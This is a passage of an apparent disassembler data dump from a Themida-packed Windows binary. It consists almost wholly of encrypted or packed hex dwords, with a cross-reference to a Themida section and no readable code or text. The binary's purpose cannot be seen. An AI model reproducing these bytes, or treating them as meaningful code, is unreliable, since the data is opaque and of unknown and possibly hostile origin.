		dd 88991086h, 0FB688A7h, 16A19EE0h, 0A6B88697h,	7ABC2C8Dh
		dd 0B59A0A69h, 0DAA353A2h, 97736572h, 95A9199Ah, 6BD1E9Ch
		dd 169C6AC3h, 0D4B699AAh, 99096AB9h, 334D90C5h,	31BF94F0h
		dd 0A94DDB59h, 3A776579h, 724B4BBBh, 77752D98h,	27F81081h
		dd 0BB6DBF56h, 9A1A1CB1h
		db 78h,	5
word_5D4B22	dw 0			; DATA XREF: Themida_:0057C15Co
		dd 482D9D19h, 0FE656DBh, 6035A520h, 18FD6DD3h, 5E37A70Bh
		dd 0EB4F4249h, 22859A7Bh, 0F04CE3B2h, 0BD3EF580h, 2F1FA84Dh
		dd 9C424D94h, 0CD6F3016h, 8757C724h, 0F2ABEE55h, 41521086h
		dd 0F5766BA9h, 0BFF69185h, 0A834B710h, 375AE94Ah, 0B61086F2h
		dd 0F3CCCAE5h, 0F23158EBh, 0EBBC1086h, 42D31C4h, 565535A5h
		dd 97A819D3h, 759h, 0BAB52D00h,	0D1000000h, 6FDF624Fh
		dd 5E58C824h, 6F0F8961h, 7AA41F3Fh, 0FB16A19Eh,	9A1F142Ah
		dd 0B5FE402Ah, 2FC636h,	0A4B1383h, 36489E1h, 8DAAA393h
		dd 1BCF9D34h, 87B787F1h, 34E70CB7h, 0B58610BBh,	0BB2B88A9h
		dd 0C70AB9A3h, 0A61CB3A4h, 8996F595h, 8FA4BA2Ah, 62CCBE2Eh
		dd 0E6F828D8h, 6CB3DFF8h, 0B80A0832h, 0B341C40Dh, 0B996A71Ch
		dd 0B0AAF2D1h, 7A4B1AA9h, 0A03086A3h, 57DBD9ABh, 488h
		dd 583DAD09h, 1FF666CBh, 0B045B510h, 0E88DFD83h, 0AE47B73Bh
		dd 7BFFB2F9h, 32B56A0Bh, 80FC33C2h, 4DAE8510h, 0BF8F38DDh
		dd 9C43DD04h, 5DDFA016h, 73E3624Fh, 4A04A43h, 114h, 0DB0BAB18h
		dd 9E1E4003h, 0CEDF16A1h, 0D040C3F0h, 1D8DEE45h, 0BFEF8F19h
		dd 32DF249Fh, 315E10BBh, 734B64D4h, 4D49B93Eh, 9AC49A70h
		dd 9C0C6FC4h, 0D900A59Ah, 0A41CB3AAh, 0B222A093h, 68D85BD8h
		dd 1570C18Dh, 0E744C5A5h, 0E639C77Fh, 113E47A7h, 0B3E39325h
		dd 4FF418ABh, 0A8791AA9h, 0A097AED5h, 43BFB5ABh, 3E4h
		dd 14E151ADh, 4B2A9A1Fh, 0CE959D4h, 54219117h, 0AEB5BDFh
		dd 1FA31E8Dh, 0D659C6AFh, 24A08F66h, 0F152E1B4h, 0FBE3F481h
		dd 9C400148h, 112BEC16h, 5F57C724h, 9581F152h, 0ED5360F2h
		dd 0BFE2617Dh, 3E1086F2h, 0AB127D6Dh, 0F53E9F1Ch, 3E0F0777h
		dd 86F24287h, 37182910h, 19E6535Eh, 496E97A8h, 4A000000h
		dd 3DB0BABh, 9C41FF40h,	91AD7E16h, 0A9B525A0h, 0BDC910B3h
		dd 0EBB41693h, 84BDAAEEh, 5A301F40h, 9E56763Bh,	7CB51693h
		dd 0A01072FEh, 0CD2EDB8Fh, 0A6BB85Dh, 96FC49Ah,	73A09D99h
		dd 0A4999D0Dh, 39EC48C6h, 0C0000003h, 5E58C824h, 48256770h
		dd 54CDD1C4h, 84299384h, 5A301FE8h, 0D4EA5AD9h,	0FEEC5CDFh
		dd 0D343C06Fh, 56DCEE3h, 23BD6DFEh, 0C0557A33h,	0DC05C09Eh
		dd 9F1086FCh, 2B6DC8Eh,	0CD20CD2h, 86FC1039h, 20CADB10h
		dd 9BF54D85h, 0A1231016h, 9D181E31h, 1693E570h,	0A3930366h
		dd 78BE2E8Eh, 51A10C7Dh, 93E5AFF2h, 527D4E16h, 0BB8E41F8h
		dd 9DBD352Eh, 2CB6h, 0BABD200h,	7A8D73E3h, 0D9F619AFh
		dd 0DE4EAC05h, 9F9B2A2Ch, 9E169BD6h, 0E32A898Dh, 8C1693D4h
		dd 2A8FBA25h, 0B29DBD40h, 0F2h,	5FC72486h, 7AF330F4h, 40765984h
		dd 68D9795Eh, 28E88DD4h, 171D142h, 2F9F1C15h, 1179FAE7h
		dd 73D95932h, 0EE657217h, 70C50D1Eh, 0A4A64F60h, 0B01E09B3h
		dd 0CABF031Eh, 6E865160h, 62664F0Ch, 452A985h, 24643F2Bh
		dd 2C108698h, 69B65FCFh, 0E9C9A0Ah, 2E9E1E6Ah, 0A41F3D01h
		dd 1086807Dh, 42873E00h, 29108680h, 1533718h, 9B86FA42h
		dd 2B8E7B16h, 91827BBBh, 6EFC030h, 0AEB0E0A0h, 8BE9F317h
		dd 0DB87A10h, 1CABEDC4h, 0A5B996A7h, 88F87AB7h,	61D131E2h
		dd 0AB1B9F94h, 0BDD5A9D2h, 3CB8BEB1h, 1F0h, 0E0B525A1h
		dd 977EEE53h, 0D8BD2D88h, 0A075E54Bh, 0D6BF2F93h, 53D7CAC1h
		dd 9A1D12E3h, 58D44B2Ah, 95160DE8h, 57875025h, 9C46A5ECh
		dd 75C74816h, 0BF56C624h, 0A616969Bh, 570AB491h, 0B95163BAh
		dd 86FFB78h, 8EA19E98h,	0BAB41E7h, 765577E3h, 321D5584h
		dd 9299992Ch, 93A4169Bh, 98FD20A3h, 0B48A1693h,	98F61BAAh
		dd 0A4751693h, 0F199096Fh, 0C73217C6h, 4D9DBD83h, 0CDh
		dd 57C72469h, 80F0525Fh, 85F575BEh, 23A2BC91h, 1086F2FEh
		dd 50BEAC7Dh, 86F6B5F5h, 0C838BB10h, 0E975F62Dh, 2341B8Bh
		dd 0C698C878h, 9BF03FFFh, 516D3E16h, 4670E060h,	7BEB4A49h
		dd 0CDA8423Bh, 0D5E919DDh, 8B9EC56Eh, 794C1210h, 1CAA5C50h
		dd 91340A1Bh, 1CAA5C48h, 18886233h, 0C253707h, 68A941B1h
		dd 4FFB9A0Ah, 4670E062h, 1270A149h, 5CCF12B1h, 9DAE1CAAh
		dd 46ACEBB2h, 0C5AFB1BEh, 0EF3Dh, 0B424A200h, 7FEF52E1h
		dd 0BC2C8996h, 76E64AD9h, 0C232909Fh, 7C377433h, 38E78EFEh
		dd 81AE47B7h, 2D029303h, 0CB75ECEh, 475E8342h, 5C1D169Ch
		dd 3AC624E0h, 734C4ABAh, 0E95C825Ch, 1086F2A0h,	5907A4Bh
		dd 0B85DCD2Eh, 57C72474h, 81F1525Fh, 84F474BDh,	5F1F87E6h
		dd 0E44D0F2Fh, 2F201686h, 751585E4h, 0A19E3946h, 0CFEFC016h
		dd 0DC0DDD06h, 0D4B6772Fh, 7AEA495Ah, 0B727849Bh, 0CFD047Fh
		dd 9701CAAh, 3192F1D6h,	0C56C4F92h, 992C2E00h, 0C56C70h
		dd 2A052AFBh, 0CB57D44Bh, 0C3BCFA6Ah, 37B9AAECh, 35BAF7C7h
		dd 0FAE725C5h, 170C0A7Ah, 93F42292h, 0B010B726h, 56795640h
		dd 0DB17C66Fh, 0E387CDFAh, 0C5303960h, 0E4F3C400h, 0C0AAD133h
		dd 0BE80F053h, 4E1BDF99h, 9E4C95B5h, 7BE360CFh,	0BEB457F5h
		dd 0FE3817BCh, 376h, 4B2F9200h,	5C5ACA24h, 4274E447h, 3363D331h
		dd 4D49B93Eh, 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h
		dd 3C7AEA4Fh, 4EC8178h,	89000000h, 0BD552424h, 4, 4246C01h
		dd 0E389535Dh, 4C381h, 0EB810000h, 4, 5C241C87h, 50240C89h
		dd 405E089h, 2D000000h,	4, 5C240487h, 68243489h, 61AAC6Ah
		dd 81240C8Bh, 4C4h, 348B5400h, 4C48324h, 6685352h, 5B2A1842h
		dd 0BE02C381h, 0DA89D5E7h, 89F2015Bh, 348B5A0Ah, 0E7895724h
		dd 4C781h, 0C7830000h, 243C8704h, 2434FF5Ch, 4C48159h
		dd 0E9000000h, 0FFFAC736h, 7B77AD4Ah, 1AB692B8h, 0FFC50306h
		dd 8AF4CE0h, 8D22BF60h,	0E4D2C429h, 4D6A6F70h, 382B0D28h
		dd 0E4CC8C2Dh, 15F2AF32h, 0C85BBD25h, 9D401029h, 0B4D6BF25h
		dd 176E7811h, 8878D909h, 6F0A2E10h, 9F24270Ah, 0B90D436Bh
		dd 6CBB9978h, 8B5A3E56h, 56FAC97Eh, 82699D6Fh, 0ADD2D0Fh
		dd 656ECE48h, 50CD2E29h, 578D8E6Bh, 0D132117Eh,	4DBA7612h
		dd 233FE40Eh, 715D3864h, 8E4CAD45h, 328DAD36h, 5E82Fh
		dd 0C8E00000h, 6675DA91h, 4300C981h, 0D981665Ah, 0C28183E8h
		dd 7456h, 13E8h, 0F9882900h, 0C6273B62h, 87C613A3h, 10CB5C84h
		dd 45245BBDh, 3359E1B3h, 0C8D0FF6h, 0F000000h, 689h, 8C0F00h
		dd 0FF000000h, 0B9661634h, 815F9F20h, 37E0BFEFh, 0F1816607h
		dd 0EF81DEEDh, 23D04C5Ah, 0C1B70F53h, 24F7815Bh, 0E9386D23h
		dd 0Dh,	0E9FD14Ch, 2673F002h, 622A70E5h, 323C894Eh, 9EAEBB66h
		dd 0BE9h, 0FFA73300h, 409266E1h, 0E3F93BCCh, 64ACEE81h
		dd 0C6811E86h, 1E8664A8h, 0FE81CA8Bh, 0FFFF8C54h, 0FF99850Fh
		dd 0C68BFFFFh, 0CE8h, 256F0C00h, 7111E325h, 0F10CA10Ch
		dd 19830F93h, 0E8000000h, 12h, 0D126D72Fh, 75D90191h, 0EEAD8B2Eh
		dd 0CC26D8F9h, 5AF84CA1h, 81F78B5Bh, 5B8BC3h, 98B9F500h
		dd 0F9000016h, 8B0F33FFh, 2, 8158F38Bh,	1D4895DEh, 3FC08140h
		dd 0E93A8EFAh, 0Bh, 48B614C5h, 31CC96C4h, 81FCB219h, 4428BEE8h
		dd 66BF6641h, 66C0811Eh, 0E842B9D5h, 11h, 0FC6515CDh, 0D328A058h
		dd 4F2E7163h, 98C6702h,	3840FD9h, 0F000000h, 505AFAB7h
		dd 13E9h, 663CC500h, 0E55A3607h
		dd 9500E97Ch, 747E228Bh, 14A014FFh, 0F98B038Fh,	30BEB81h
		dd 6FBA354Bh, 8132E1E3h, 4B0307C3h, 0CE935h, 4AB20000h
		dd 43A1CD50h, 42AB9233h, 0E981B512h, 1,	39850Fh, 12E80000h
		dd 24000000h, 4C5C3757h, 85EE2C5h, 52CBD6C5h, 0CA55E1ECh
		dd 0AE917h, 695D0000h, 0DE1E1915h, 9A3DD322h, 26E95Ah
		dd 956C0000h, 0E81E5BDFh, 0B676A3FBh, 0E9AD938Ah, 0FFFFFF20h
		dd 8AC2A5C0h, 4655B5E7h, 0E33EF3B2h, 5412BB20h,	4E656FCCh
		dd 16DE9h, 0B59100h, 0EA688029h, 164CAC87h, 0CB58AF4Fh
		dd 0C0563408h, 0C3567F51h, 0C8585008h, 0E3717E51h, 0B1247E38h
		dd 4A707451h, 4EC452D3h, 0F6B6839Fh, 87157C50h,	12851h
		dd 0
		dd 400h, 2 dup(0)
		dd 3300h, 0
		dd 800h, 0
		dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 40h dup(0)
		dd 65E90000h, 68000016h, 61ABCB5h, 0FB8DD7E9h, 0BDBF68FFh
		dd 0CDE9061Ah, 68FFFB8Dh, 61ABE9Ch, 0FB8DC3E9h,	0BF5D68FFh
		dd 0B9E9061Ah, 68FFFB8Dh, 61AC0DBh, 0FB8DAFE9h,	0C29C68FFh
		dd 0A5E9061Ah, 68FFFB8Dh, 61AC36Ch, 0FB8D9BE9h,	0C42268FFh
		dd 91E9061Ah, 68FFFB8Dh, 61AC601h, 0FB8D87E9h, 0C70868FFh
		dd 7DE9061Ah, 68FFFB8Dh, 61AC7CDh, 0FB8D73E9h, 0C86068FFh
		dd 69E9061Ah, 68FFFB8Dh, 61ACA3Ch, 0FB8D5FE9h, 0CF0D68FFh
		dd 55E9061Ah, 68FFFB8Dh, 61ACFEEh, 0FB8D4BE9h, 4A3318FFh
		dd 0E29B8F7Ah, 4C3117E2h, 0E895917Ch, 46371DE8h, 17F1E746h
		dd 0BD484835h, 5C27A9D4h, 0FD880875h, 81196B12h, 23EBAA84h
		dd 0BCA9A724h, 0AF992446h, 581ED7CEh, 322B523Dh, 0FDE9B097h
		dd 10629F9Ah, 28514A14h, 0D3BDD881h, 0B40183AAh, 403EADFCh
		dd 0B352F502h, 845E0732h, 0A728E3D1h, 910B9717h, 0F9476002h
		dd 0ADDD6A13h, 472D6842h, 98F10036h, 36BEC13h, 116C65F0h
		dd 28F36835h, 2D0534A7h, 2A19h,	6CC4AB00h, 8A7F0E1Dh, 0D0AE3BF3h
		dd 0B353E22Ah, 0A9A6BF6Ah, 0EF47361Ch, 29DB4415h, 9A0AA4A7h
		dd 0ECF7891Eh, 0B56D6Bh, 865F0000h, 2AC7DE9Fh, 0A12C3548h
		dd 0B504F1A6h, 0BDCAB39Bh, 0AC85C412h, 0A2D18B5h, 3DF66D2Ch
		dd 33FA2FADh, 0FC015751h, 5C53AD3Dh, 0E9E4AF21h, 2BE0D94h
		dd 0CDA4D9CFh, 6B2605Eh, 37E2B353h, 0AA5B4855h,	0C49B5C8h
		dd 88A728E0h, 803899E1h, 2013C231h, 0E58D445Dh,	8AC56A44h
		dd 36E3AD40h, 57260CB9h, 0D5A88A75h, 787C47Fh, 0B74BC6FAh
		dd 1414h, 0A1235A3Bh, 398BF2D6h, 0A325584Eh, 3F91ECD8h
		dd 0AD1F5E54h, 8C7E980Eh, 0FBF49FF1h, 94770282h, 311CE7E9h
		dd 0A7A47C4Ch, 24228AC7h, 239B0AA7h, 0F7D9A486h, 0A0BDB9AAh
		dd 0FCAD3EDEh, 7F66254Dh, 0C4408EFEh, 300E1D6Ch, 0B353E20Ah
		dd 7904E796h, 0D9D164C1h, 1D54FDA4h, 0DBF79A84h, 2F1A729h
		dd 551D6053h, 3A4FCB57h, 0BE6BECF8h, 0E5h, 0DE9F8610h
		dd 0B2CBC451h, 614702ABh, 0A6CC851Ch, 17C6EFBh,	0E3A67E68h
		dd 3530AD3Eh, 0D2BD4848h, 98913CABh, 15128DE5h,	0C16D3066h
		dd 6AFB6C7h, 678AA049h,	0AA63FA83h, 62DEAB83h, 0FC1A1413h
		dd 64B3539Eh, 0ECA8EFD9h, 667703EFh, 96CFA7CEh,	9B4E1E3h
		dd 8F465F1Eh, 0B94EEAE7h, 29AAA0BDh, 0AFEEC8A7h, 0EDA729AAh
		dd 0FF36E33Ch, 51D016F0h, 9DCCAD41h, 2A0DFF8Eh,	3C4C0D4Ch
		dd 93DA8FADh, 0F7F7E431h, 0AD3C4B5Ah, 2C670F3Ah, 74E13746h
		dd 56FA0741h, 130A079Bh, 50450000h, 0B8B05B2Dh,	4E38C3C5h
		dd 0BAB25D2Fh, 5436C1C3h, 9208A729h, 99EB9278h,	484F9EEh
		dd 99EB9279h, 686F7EEh,	0F8A5A18Eh, 0A4A72421h,	992461B1h
		dd 0E7A6CCB1h, 6D187805h, 4A331782h, 0C974A123h, 0ADD0BCDDh
		dd 0FE34DD84h, 0DE9F868Ch, 0DBDBC8C7h, 0AD3EDEBEh, 48032BDEh
		dd 0E5B0205Dh, 7E0B92EBh, 8996F687h, 0DEFD9C9Ah, 97CBAD3Eh
		dd 35191883h, 0B87EAB74h, 0B9440599h, 0FFB6AFCEh, 8FDE5A37h
		dd 0C0293A0h, 1441F871h, 300E6419h, 0B353C422h,	0D3C0C772h
		dd 0B1B7E6E0h, 34E5A729h, 0E24E00FEh, 16B29EB3h, 644E28C7h
		dd 8CC1B4E4h, 0EC750801h, 0FCD6335Fh, 7AB32E5Eh, 0A7BE6BB4h
		dd 92A1F048h, 0CC739DB4h, 1D0A3FBBh, 88087570h,	0A56B12FDh
		dd 0B977EB2h, 2DFD9108h, 22000012h, 917C4C31h, 19E4E499h
		dd 937E4E2Fh, 17E2E29Bh, 0E9484835h, 4A3319F3h,	0E39A8F7Ah
		dd 4A3316E1h, 0E5988F7Ah, 403E2BE3h, 0A7242111h, 86BC1283h
		dd 6617FA9Fh, 7F39960Fh, 9118654Ch, 91A291E8h, 0E8177702h
		dd 185E21F3h, 5334602Eh, 0FBCD7CB3h, 0CB681510h, 4C45543Ah
		dd 0B8813831h, 3088E782h, 526152E1h, 290A2574h,	0D4A9A5A7h
		dd 0AE98DE8Bh, 0AD43C399h, 78052257h, 5203F08Dh, 7559215Ch
		dd 0C3DAA38Ah, 2E4F39C4h, 2A502D23h, 33C00FA9h,	80C29340h
		dd 18E97DD7h, 0FE3FE462h, 0AC5DB349h, 0E6978E3Fh, 49341BE6h
		dd 2675D320h, 0CC6D2D09h, 29AD3Eh, 5E01B1Ch, 72148DFAh
		dd 116Ch, 398BF2E3h, 0A1235A4Eh, 3B8DF0D6h, 0A7295450h
		dd 587F6DCh, 0F4D630A6h, 937C0789h, 0FCEF9AEAh,	89840F81h
		dd 0FFC94F4h, 241F622Fh, 0CB4332A7h, 0F7D9A486h, 909FEE4Ah
		dd 53F6B0B6h, 0AE3DECB3h, 59502D1Fh, 42CFDAA0h,	0A752324Bh
		dd 47A4BDC0h, 0B18D9AE9h, 0AD3ECC69h, 0C9A5B62Dh, 0AD3ECB8Ch
		dd 0B8E56108h, 0E4AD3ECBh, 0AE65FC35h, 0E994903Dh, 536119C0h
		dd 9DE0C7DFh, 730AFF8Eh, 106D5FEAh, 0E199E099h,	99E860EDh
		dd 0E3C69C9Ah, 33E6B353h, 9A903D2Ah, 5008BE3h, 6E64F178h
		dd 2E37462Bh, 1AB7AE87h, 3D1E4736h, 0FDF529B9h,	0FA89036Fh
		dd 18998816h, 0CEBB732Dh, 2A042372h, 0AD3E1934h, 3CC7C970h
		dd 49352C51h, 0AD3E2508h, 4A62D264h, 7DAA1A63h,	4C1906Eh
		dd 901AD3Eh, 0DB44ED74h, 4D30232Eh, 0FE7F6625h,	7B7B6867h
		dd 0AD3E04DEh, 0E6E38BBEh, 12ECFB4Ah, 0B3533144h, 790A2950h
		dd 0CCB60C31h, 1D71C961h, 6C2DD6Eh, 618B38B7h, 8FE026B3h
		dd 0B28C9DD5h, 0AD443F95h, 0F18C7E0Fh, 0B09DFF62h, 2258385Dh
		dd 7CAF1445h, 75C28F6Fh, 0A7D2AD2Fh, 0EF8B58E8h, 0BB73DF04h
		dd 0BAE39A90h, 2F4FADE0h, 0A6F553ADh, 982AD89h,	0F9EAB34Ah
		dd 8E17664Ch, 0A93E5BE7h, 0AB5EA729h, 806F9A83h, 79EDFD5h
		dd 7A0B284Eh, 0EF9AEA93h, 51DC85F8h, 3F2E225Bh,	6DFC10E4h
		dd 0FEE12B4h, 6C610000h, 0DCD4BF11h, 6A642FA1h,	0DEC6B113h
		dd 70622D9Fh, 8EFCBB0Dh, 8DFF7E74h, 20700D02h, 8DFF7E75h
		dd 12720B02h, 0E4B18D7Ah, 0B0A7241Eh, 37244DC5h, 3EDF1A37h
		dd 0A7CF7AADh, 553106ECh, 0AD3EDF08h, 0B8B1CCC2h, 3AF32601h
		dd 91C0BEADh, 3AD3EDEh,	0E5B02056h, 7F0A93EAh, 47F6F588h
		dd 2C513762h, 0ACB57C35h, 97322D05h, 14A1C8B5h,	96465F1Eh
		dd 0B34478ECh, 0B097AF43h, 0B8AF5ECDh, 529DDDDFh, 9BD2871Bh
		dd 0A3234B02h, 1953374h, 79756672h, 0AD3E74DCh,	259BABB8h
		dd 622E6F2Ch, 0B923630Bh, 95000001h, 0C7DE9F86h, 0AD3A432Ah
		dd 4C02631Eh, 78BEDD43h, 1E180B18h, 0AD3E507Fh,	4F18654Bh
		dd 0B977541Ah, 0C5817D6Ah, 0F1B35359h, 14452148h, 0AEA72959h
		dd 0DA8C1BCh, 6C4F5627h, 91265ACAh, 78118D25h, 236BEC70h
		dd 35FD8072h, 6A11h, 6CC4A300h,	362F4E39h, 6EC7B69Bh, 0B84E28C7h
		dd 0C0B353E2h, 0EF949A13h, 2C02A793h, 570600F3h, 73A72998h
		dd 0E25FE7Fh, 5E9E8611h, 37FE3789h, 10270DB8h, 29646736h
		dd 2D0435A7h, 0AAB57D34h, 29647DD0h, 57CB6BA7h,	0C972EDDh
		dd 81AFEEC8h, 3CEDA729h, 0F37580Fh, 96BFC867h, 0B3376BECh
		dd 0EA000000h, 5C05785Bh, 860B7DB5h, 2AC7DE9Fh,	5B63548h
		dd 892D0060h, 2B36FC3Dh, 0CFD6A79Eh, 52324B42h,	3EB60058h
		dd 225B52ADh, 4C9B15A2h, 0DFDFCCDFh, 0AD3EB4B2h, 5FF37E2h
		dd 0B3565C5Fh, 12210E3Bh, 51E2DC81h, 56B09B35h,	0A7279307h
		dd 0F1A09E95h, 0A3A72792h, 7A77BF76h, 3494E9CBh, 361A6349h
		dd 0FC129E21h, 2D0C9E5Bh, 2200000Eh, 917C4C31h,	19E4E499h
		dd 937E4E2Fh, 17E2E29Bh, 0E9484835h, 4A3319F3h,	0E39A8F7Ah
		dd 4A3316E1h, 0E5988F7Ah, 403E2BE3h, 0A7241D11h, 86BC1283h
		dd 0CF7D9A4h, 0EF8E7821h, 7976BF76h, 67A1A0CAh,	8BE35C74h
		dd 99248D3Bh, 7B02E7B2h, 5B022BE2h, 0D6D17CB2h,	8211FEA7h
		dd 0D93759A0h, 0D776BC1Fh, 503B8DF0h, 32812855h, 1BA84796h
		dd 0CE5BCC4h, 42AF8760h, 0D0ADA431h, 0EC5A20D9h, 0B353D9C2h
		dd 0DB837E2h, 0A9505924h, 0B47A03ECh, 79C22D4h,	62F10000h
		dd 87BC3EEBh, 5634FA7Ch, 0D0D9A486h, 3EDEA3F6h,	94E35DADh
		dd 98949797h, 930B359h,	9745BEAh, 6C11FC87h, 5F47F6F5h
		dd 0A8CE871Eh, 0A27607EDh, 0FC1F6B67h, 5D9A2CE5h, 0F200000Dh
		dd 810C7C01h, 0E994F489h, 830E7EFFh, 0E792F28Bh, 99187805h
		dd 9AE3C923h, 136A5F2Ah, 9AE3C6B1h, 15685F2Ah, 10EEDBB3h
		dd 0A7241B41h, 86EC6253h, 0CF7D9A4h, 3ECF5C21h,	852C3548h
		dd 8B5B2ADh, 0EA937D1Ch, 0BB73BA73h, 0C1E89590h, 0B4CC58DEh
		dd 0D7C4C4B9h, 243D4026h, 0DE29D187h, 8BE26233h, 0D2F3A29Ch
		dd 78A1AD3Eh, 0EF5A2FC2h, 129E7201h, 30000000h,	3EEA0B37h
		dd 106D59ADh, 0F599E099h, 0FFFFFD90h, 0DF1637DBh, 4EEAAD3Eh
		dd 0E916F0FFh, 0B7B35997h, 0F0D86582h, 0B944E58Dh, 98E5CBCEh
		dd 2924EFE1h, 0CAC04D54h, 6B2C5DB3h, 0E39EFC1Fh, 0CA73Fh
		dd 0BAC3A800h, 324B3FCAh, 0BCC1A752h, 384541CCh, 0B6C7AD58h
		dd 876157D6h, 0DF8D8A5h, 8C775924h, 0DF8D8A5h, 0B1695B22h
		dd 1A9BBAB4h, 8CF9A724h, 18972436h, 8F1C9963h, 0A0085531h
		dd 0E594AD3Eh, 0C0A7E68Ch, 1E09A4BDh, 2343D05Fh, 0ABD2B624h
		dd 0CA13B79Ch, 9C1AFDA4h, 0F09D8E08h, 0E07D89F4h, 0EAAD3E0Eh
		dd 78A17A03h, 0E19C93C2h, 2AE7C0EFh, 0D0F7201h,	0C1000000h
		dd 3EEA0B37h, 0DD093DADh, 0A7FFFFFCh, 51396CC4h, 0B57C352Ch
		dd 0CCA3836h, 5BEAB354h, 372E0776h, 0DCA18D38h,	0D8660CC5h
		dd 0A729B1B6h, 0B430C432h, 6BECC9F3h, 19203h, 4637B500h
		dd 80AD3EDFh, 235A55E0h, 8EEFD6A1h, 0DED22B17h,	526AD3Eh
		dd 0DE791816h, 0EE1BAD3Eh, 3CB62E48h, 0DB40C68Fh, 7BB3D85Ch
		dd 16C2D5D0h, 45598948h, 0EE473630h, 41F84547h,	0E7DE6BF2h
		dd 644B3696h, 53B69019h, 0D5AD3EBBh, 5C4FC959h,	3EBB3362h
		dd 82B861ADh, 1D31A6Fh,	131DE72h, 86F00000h, 0C451DE9Fh
		dd 0E47BB3CAh, 0AD1F5E49h, 0DA59A820h, 0F43A432Bh, 0E74BF7F7h
		dd 0D86BB353h, 0D43B7F74h, 8CF1D785h, 5C155C15h, 68385945h
		dd 46B0A729h, 807532AEh, 43816BECh, 94000000h, 0DB6256E7h
		dd 670F6388h, 1D6CC469h, 0E20A300Eh, 0BBCAB353h, 56FFA6D7h
		dd 0F99C861Fh, 0EFA729DBh, 61224FFCh, 23AE90EFh, 5228512Ch
		dd 5354D064h, 0A36BEC9Ch, 99h, 742EC576h, 0D7398003h, 9F86319Fh
		dd 0CEC451DEh, 55E087AFh, 0EA871E5Fh, 0E4E37A03h, 18A79757h
		dd 3461E234h, 5FEE4439h, 79B31568h, 0AD3E742Bh,	0D9ABD2BDh
		dd 384541CCh, 0E8379102h, 0EC356B4Bh, 0C871B355h, 0C5B89A2Bh
		dd 2B5238C3h, 12E1BEE5h, 0F1950CFCh, 0AC8h, 0F5D7A687h
		dd 7557260Ah, 0F7D9A48Ah, 6B5D200Ch, 0F1D3AAA0h, 0C8AA4432h
		dd 3F28D3B5h, 0D0C34E3Eh, 3530DBADh, 0E3D04848h, 2418B6E3h
		dd 1F6FE6A7h, 0F7D9A486h, 61381BAAh, 185E1766h,	99EB927Dh
		dd 0B099242Bh, 0B27B02E9h, 604702ABh, 0A5CD841Dh, 717EFFE6h
		dd 0E78FEEE4h, 433A35C0h, 468AF41h, 82210000h, 6346F78Eh
		dd 0DEBBDAD4h, 30D9AD3Eh, 81B96009h, 0CA69B810h, 599860ECh
		dd 0F6CD7CB3h, 9F8CDB55h, 25E3B28Ch, 88B1A724h,	7D4541B2h
		dd 99AD3947h, 0DAD28370h, 0EAD4CBA3h, 0AD2F46A7h, 45413241h
		dd 0AD2F4718h, 0B3081CB0h, 16518156h, 0BE74211Dh, 0F920AD2Fh
		dd 0E87CFA40h, 0F2D71B6Ch, 3C1DB71h, 0BD4E0000h, 23A33B0Eh
		dd 3D2F5A60h, 0CA702940h, 0B29924C8h, 531BD2CBh, 3EDEA8E9h
		dd 0DE99CBADh, 0C781AD3Eh, 8E687B78h, 0AD3EDECFh, 55D69CCDh
		dd 54038D59h, 9C80A9B3h, 0FC10F65Fh, 0C1B658D1h, 8E000009h
		dd 25F0E09Dh, 9580502Dh, 17E2E29Bh, 937E4E2Fh, 4DECDCA1h
		dd 0AECFC55Fh, 3F3E33DEh, 0AECFC24Dh, 413C33DEh, 0DCDAD74Fh
		dd 0A72417BDh, 241866DFh, 0AA940797h, 0B99AB9C4h, 87F6F0A7h
		dd 184541AEh, 84AD3E29h, 0F7EE9DD5h, 3890DF86h,	0E36C4AE9h
		dd 0CDB358E2h, 31384540h, 0E075B288h, 0EBDD94E9h, 9493E25Eh
		dd 0E67FFEE9h, 0F9EA072Fh, 9019644Ch, 0A0B391E9h, 3CAD3F89h
		dd 7A6F1E0Dh, 87948103h, 3E28EAA7h, 707FAAADh, 3E28C796h
		dd 0CEA4D5ADh, 3E2A4570h, 0F140FBADh, 1F5E5302h, 7805EB86h
		dd 49F148F1h, 0A8D5BA45h, 4797401h, 63B20E5Dh, 45A0EAC4h
		dd 95C4B353h, 107868BFh, 43E7A2FCh, 8FCh, 0A91B6253h, 3193EADEh
		dd 0AB1D6046h, 3799E4E0h, 0B517664Ch, 846680F6h, 3EC97F9h
		dd 8C7F0A7Ah, 0F9F49FF1h, 9F8C0484h, 2417F29Fh,	5BB3A2A7h
		dd 0E1D6CC4h, 59981B30h, 0A7AAB9B3h, 953F2871h,	821B6246h
		dd 5CCBA2CBh, 0C3C5B8B1h, 372E4F38h, 221160D8h,	0BB962671h
		dd 0AB831C0Ch, 0CCC7403Eh, 0CB9AD3Eh, 68351126h, 34AD3E69h
		dd 19062C05h, 9E1A79F0h, 42D3E04Fh, 9E2B324Bh, 0D49AD3AAh
		dd 536FDC6Ah, 0B51F8B3h, 0FC10A2BAh, 69B155CCh,	0E6000008h
		dd 6D187805h, 0ED98F885h, 7F0A7A03h, 0EB96F687h, 95147409h
		dd 96E7CD27h, 17664B36h, 96E7CAB5h, 19644B36h, 14F2DFB7h
		dd 0A7241645h, 86F05E57h, 0C8C7DE9Fh, 5228553Dh, 584B4C43h
		dd 95A4D90Ah, 1C55280Bh, 0C7C14C55h, 0D020AFB6h, 0A51EC7D8h
		dd 0ADD0BCD9h, 0C430BEB4h, 9B07AF90h, 9FF18C83h, 1ADF790h
		dd 0B591A272h, 0AD3E9DE8h, 0D691ECE2h, 0B0BBCBA3h, 6E000001h
		dd 0D94E9DFh, 4035AF7Eh, 4E2760AAh, 6CC4AA28h, 887F0E1Dh
		dd 0E90056F5h, 0EDFF7AAFh, 0C8CAA445h, 18B3535Ah, 5A6E2B0Bh
		dd 172EA729h, 9A534A33h, 97C29BD3h, 0FE72210Eh,	23D591E2h
		dd 395CEA90h, 0AFA72915h, 7237B33Fh, 866BEC2Dh,	15Fh, 0EDAC8A99h
		dd 0AFA7291Ch, 0A4770794h, 8CE51FF0h, 9F86E4E6h, 432AC7DEh
		dd 0B05D4A3Ah, 90EDE3B6h, 6119C0E9h, 6A89D870h,	53E7BE8Ch
		dd 7E45DEB3h, 0DE99133Eh, 0FF8E9DD4h, 0A3BE7409h, 294E96B7h
		dd 3D402CA7h, 0DCA18924h, 0D064D2C5h, 0B97179Ch, 0EC66FA8Fh
		dd 59FE6Bh, 0C4D00000h,	1D0E1D6Ch, 7A7CE56Eh, 3109EC8Ch
		dd 53612FD3h, 0A28A3BB3h, 630BC2DBh, 33E04FFAh,	0D3BD3226h
